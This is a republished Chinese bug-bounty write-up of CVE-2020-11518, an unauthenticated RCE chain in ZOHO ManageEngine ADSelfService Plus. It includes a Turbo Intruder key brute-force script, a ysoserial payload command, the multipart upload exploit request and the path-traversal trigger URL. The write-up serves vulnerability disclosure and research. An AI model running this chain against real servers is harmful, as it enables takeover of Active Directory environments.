您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)如何利用ZOHO ADSelfService Plus漏洞實(shí)現(xiàn)域控活動(dòng)目錄入侵,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
當(dāng)我用Aquatone在做前期探測(cè)時(shí),發(fā)現(xiàn)在兩個(gè)不同的眾測(cè)項(xiàng)目中,竟然有兩個(gè)完全不同的子域名網(wǎng)站都出現(xiàn)了以下相同的ZOHO ManageEngine ADSelfService Plus登錄界面:
ZOHO ManageEngine ADSelfService Plus大多用于組織機(jī)構(gòu)大中型網(wǎng)絡(luò)中,用于用戶更改管理其服務(wù)器活動(dòng)目錄(Active Directory)的賬戶密碼。
由于ZOHO ManageEngine ADSelfService Plus與組織機(jī)構(gòu)域控服務(wù)器上的活動(dòng)目錄(Active Directory)相關(guān),因此,我覺(jué)得它的漏洞發(fā)現(xiàn)可能會(huì)影響很多公司,值得多下點(diǎn)功夫研究研究。
好在ZOHO ManageEngine ADSelfService Plus有30天的試用版可下載使用,因此,我決定把它安裝在我本地進(jìn)行一些測(cè)試,特定是從源碼層面對(duì)它進(jìn)行一些分析。
ADSelfService Plus是JAVA架構(gòu)的,所以我用Bytecode Viewer對(duì)下載好的應(yīng)用源碼進(jìn)行編輯測(cè)試:
從中,我對(duì)ADSelfService Plus進(jìn)行了深入細(xì)致的分析,涉及功能應(yīng)用、早先漏洞修復(fù)部份和關(guān)聯(lián)代碼等部份。之后,我決定構(gòu)建一個(gè)應(yīng)用端點(diǎn)關(guān)鍵字字典對(duì)其進(jìn)行枚舉測(cè)試。
在我的枚舉測(cè)試過(guò)程中,我在一個(gè)web.xml文件中看到了以下CewolfServlet相關(guān)的代碼:
<servlet-mapping> <servlet-name>CewolfServlet</servlet-name> <url-pattern>/cewolf/*</url-pattern> </servlet-mapping>
我在谷歌上一查找,發(fā)現(xiàn)卓豪(ZOHO)的另一個(gè)系列產(chǎn)品中早前就存在cewolf服務(wù)端的RCE漏洞,其漏洞點(diǎn)在于img參數(shù)可路徑遍歷,那這里我們也來(lái)試試看。
在我本機(jī)的ADSelfService Plus系統(tǒng)中,我通過(guò)構(gòu)造了一個(gè)evil.file文件,然后通過(guò)成功的瀏覽http://localhost:8888/cewolf/?img=/../../../path/to/evil.file,就證明這里也同樣存在該漏洞。
這也就是說(shuō),這個(gè)未授權(quán)的RCE漏洞直接就是可用的了,但利用前提是要在目標(biāo)ADSelfService Plus系統(tǒng)中去發(fā)現(xiàn)一個(gè)任意文件上傳漏洞才行,只有這樣才能上傳我們的evil.file執(zhí)行訪問(wèn)。
為了擴(kuò)大測(cè)試面,我繼續(xù)在我本機(jī)對(duì)ADSelfService Plus系統(tǒng)進(jìn)行一些擴(kuò)展性的功能配置,這里就涉及到了本地的域控制器(Domain Controller)和活動(dòng)目錄(Active Directory)域的配置。
經(jīng)過(guò)幾小時(shí)的折騰,下載ISO、磁盤空間劃分、虛擬機(jī)搭建、域控制器臨時(shí)學(xué)習(xí)部署,最終成功出現(xiàn)了以下ADSelfService Plus登錄界面:
由于這是一個(gè)具備管理權(quán)限的測(cè)試系統(tǒng),從中我可以觀察到ADSelfService Plus相關(guān)的功能應(yīng)用和API端點(diǎn)請(qǐng)求。之后,我著重研究了其不同的上傳功能,最后,我發(fā)現(xiàn)了一個(gè)支持智能卡證書(shū)配置的上傳點(diǎn),它以POST方式對(duì)以下路徑進(jìn)行請(qǐng)求:
/LogonCustomization.do?form=smartCard&operation=Add
分析之后,我發(fā)現(xiàn)該上傳點(diǎn)對(duì)上傳后的智能卡證書(shū)不改名就直接進(jìn)行存儲(chǔ),因此,結(jié)合上一個(gè)反序列化路徑遍歷RCE,我想可以深入從這里入手。
該上傳點(diǎn)的機(jī)制如下:
1、登錄后的管理員可以通過(guò)以下路徑上傳智能卡證書(shū):
/LogonCustomization.do?form=smartCard&operation=Add
2、接著會(huì)觸發(fā)后臺(tái)服務(wù)端身份驗(yàn)證RestAPI調(diào)用,完成對(duì)密鑰握手交換請(qǐng)求,并在服務(wù)端生成一個(gè)HANDSHAKE_KEY:
/RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret
3、然后會(huì)繼續(xù)調(diào)用以下API對(duì)HANDSHAKE_KEY進(jìn)行校驗(yàn),并生成成功(SUCCESS)或失敗(FAILED)的狀態(tài):
/servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret
4、如果校驗(yàn)成功,上傳的證書(shū)會(huì)被存儲(chǔ)到以下路徑:
C:\ManageEngine\ADSelfService Plus\bin
有意思的是,上述第2步中的/RestAPI是可以公開(kāi)訪問(wèn)的,因此,任意有效的HANDSHAKE_KEY就能繞過(guò)用戶身份校驗(yàn),把想要上傳的文件存儲(chǔ)到服務(wù)端去。而且,第3步涉及到的/servlet/HSKeyAuthenticator同樣也是可以公開(kāi)訪問(wèn)的,未授權(quán)用戶可以據(jù)此判斷某個(gè)密鑰的有效性。
有了這些分析,我再次回到ADSelfService Plus的源碼中去。
通過(guò)grep命令查找,我發(fā)現(xiàn)了兩個(gè)有趣的Java類文件。通過(guò)我本機(jī)的PostgreSQL數(shù)據(jù)庫(kù),可以查看到其中包含了一個(gè)可以利用的API服務(wù)端,以及相關(guān)的密鑰校驗(yàn)信息:
一個(gè)Java類文件是com.manageengine.ads.fw.servlet中的HSKeyAuthenticator.class:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { String message = "FAILED"; RestAPIKey.getInstance(); String apiKey = RestAPIKey.getKey(); String handShakeKey = request.getParameter("HANDSHAKE_KEY"); if (handShakeKey.equals(apiKey)) { message = "SUCCESS"; } PrintWriter out = response.getWriter(); response.setContentType("text/html"); out.println(message); out.close(); } catch (Exception var7) { HSKeyAuthenticator.out.log(Level.INFO, " ", var7); } }
另一個(gè)Java類文件是com.manageengine.ads.fw.api包中的RestAPIKey.class:
RestAPIKey.class: public static void generateKey() { Long cT = Long.valueOf(System.currentTimeMillis()); key = cT.toString(); generatedTime = cT; } public static String getKey() { Long cT = Long.valueOf(System.currentTimeMillis()); if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue())) { generateKey(); } return key; }
從上述代碼可以看出,服務(wù)端對(duì)校驗(yàn)密鑰的當(dāng)前時(shí)間是以毫秒計(jì)算的,大概有2分鐘的一個(gè)校驗(yàn)窗口期,也就是說(shuō),對(duì)攻擊者想要枚舉的密鑰來(lái)說(shuō),任意時(shí)候都有120秒*1000*毫秒=120000種可能。
換句話說(shuō),如果我持續(xù)在2分鐘內(nèi),每秒生成至少1000個(gè)請(qǐng)求,那么在身份驗(yàn)證密鑰過(guò)期并重新生成時(shí),就有可能成功命中有效的密鑰,
這看似是一項(xiàng)復(fù)雜的網(wǎng)絡(luò)級(jí)攻擊,但成功的攻擊測(cè)試沒(méi)有局限性,即使不能百分百成功,但只要時(shí)間足夠,就有可能成功。
接著,我準(zhǔn)備用Burp的Intruder來(lái)生成上述思路中的大量短時(shí)請(qǐng)求,寄希望能成功枚舉命中有效密鑰:
但是,上述Intruder生成的請(qǐng)求字典結(jié)合我的自動(dòng)腳本,針對(duì)在線目標(biāo)系統(tǒng)跑起來(lái)的時(shí)候,就沒(méi)那么想當(dāng)然的了。幾小時(shí)的反復(fù)運(yùn)行和各種配置更改后,搗鼓了快一夜也沒(méi)啥發(fā)現(xiàn),對(duì)這種方法,我都懷疑自己了。
而且,由于不確定在線目標(biāo)系統(tǒng)的運(yùn)行時(shí)區(qū),當(dāng)時(shí)我都有點(diǎn)快放棄了。但是當(dāng)我再次用各種偏移方式運(yùn)行GET請(qǐng)求后發(fā)現(xiàn),Java的當(dāng)前時(shí)間計(jì)算函數(shù)currentTimeMillis返回的是標(biāo)準(zhǔn)的UTC時(shí)間,所以時(shí)區(qū)時(shí)間的擔(dān)心就沒(méi)必要了。
最終,經(jīng)過(guò)反復(fù)試錯(cuò),我用以下Turbo Intruder腳本,按每秒請(qǐng)求數(shù)(rps)計(jì)算,取當(dāng)前時(shí)間戳前后rps/2的毫秒數(shù)進(jìn)行校驗(yàn),這樣可以盡量擴(kuò)大覆蓋范圍并減少誤差:
import time def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=200, pipeline=True, timeout=2, engine=Engine.THREADED ) engine.start() rps = 400 # this is about the number of requests per second I could generate from my test server, so not quite the ideal 1000 per second while True: now = int(round(time.time()*1000)) for i in range(now+(rps/2), now-(rps/2), -1): engine.queue(target.req, str(i)) def handleResponse(req, interesting): if 'SUCCESS' in req.response: table.add(req)
接著,把HTTP請(qǐng)求頭存儲(chǔ)為以下base.txt,配合Turbo Intruder發(fā)起枚舉:
POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1 Host: localhost:8888 Content-Length: 0 Connection: keep-alive .
接下來(lái)需要耐心即可:
哦哇,愿望成真了,竟然可以成功枚舉出有效的驗(yàn)證密鑰,即使吞吐量遠(yuǎn)遠(yuǎn)低于1000rps,只有可憐的56rps,最終也成功了!
現(xiàn)在綜合起來(lái),最終的漏洞利用代碼也就簡(jiǎn)單了。我用反序列化框架ysoserial生成了很多Payload,發(fā)現(xiàn)以下可行的Payload:
java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1.<your-burp-collaborator>"
然后,用Burp Intruder的自動(dòng)腳本去枚舉測(cè)試校驗(yàn)密鑰,再結(jié)合ysoserial生成的上述Payload,去上傳一個(gè)名為pieter.evil的惡意文件,以此測(cè)試上傳時(shí)的校驗(yàn)接口RestAPI,最終的exploit如下:
POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1 Host: localhost:888 Content-Length: 2464 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Connection: close ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil" Content-Type: text/xml <binary-ysoserial-payload-here> ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Content-Disposition: form-data; name="CERTIFICATE_NAME" blah ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4 Content-Disposition: form-data; name="SMARTCARD_CONFIG" {"SMARTCARD_PRODUCT_LIST":"4"} ------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--
一切就緒,只欠東風(fēng)。接下來(lái),我針對(duì)路徑/cewolf/?img=/../../../bin/pieter.evil發(fā)起了GET請(qǐng)求,就返回了美妙的成功請(qǐng)求響應(yīng)消息,RCE成功!
通過(guò)校驗(yàn)密鑰枚舉bug,結(jié)合Java反序列化路徑遍歷,最終,我成功在ZOHO ManageEngine ADSelfService Plus相關(guān)的活動(dòng)目錄管理服務(wù)器中實(shí)現(xiàn)了RCE,而且,我認(rèn)為攻擊者可以利用域控制器的鏈接劫持域名賬戶或在活動(dòng)目錄域中創(chuàng)建新用戶,實(shí)現(xiàn)更廣泛的內(nèi)網(wǎng)入侵,如通過(guò)公共VPN服務(wù)的深入滲透。
我通過(guò)測(cè)試發(fā)現(xiàn)了兩家眾測(cè)項(xiàng)目公司都存在該漏洞,上報(bào)漏洞后,一家評(píng)估為危急,一家評(píng)估為高危。與此同時(shí),我也把該漏洞報(bào)送給了漏洞涉及廠商ZOHO公司,被認(rèn)定為0-day,并被分配了CVE-2020-11518的漏洞編號(hào)。
看完上述內(nèi)容,你們對(duì)如何利用ZOHO ADSelfService Plus漏洞實(shí)現(xiàn)域控活動(dòng)目錄入侵有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。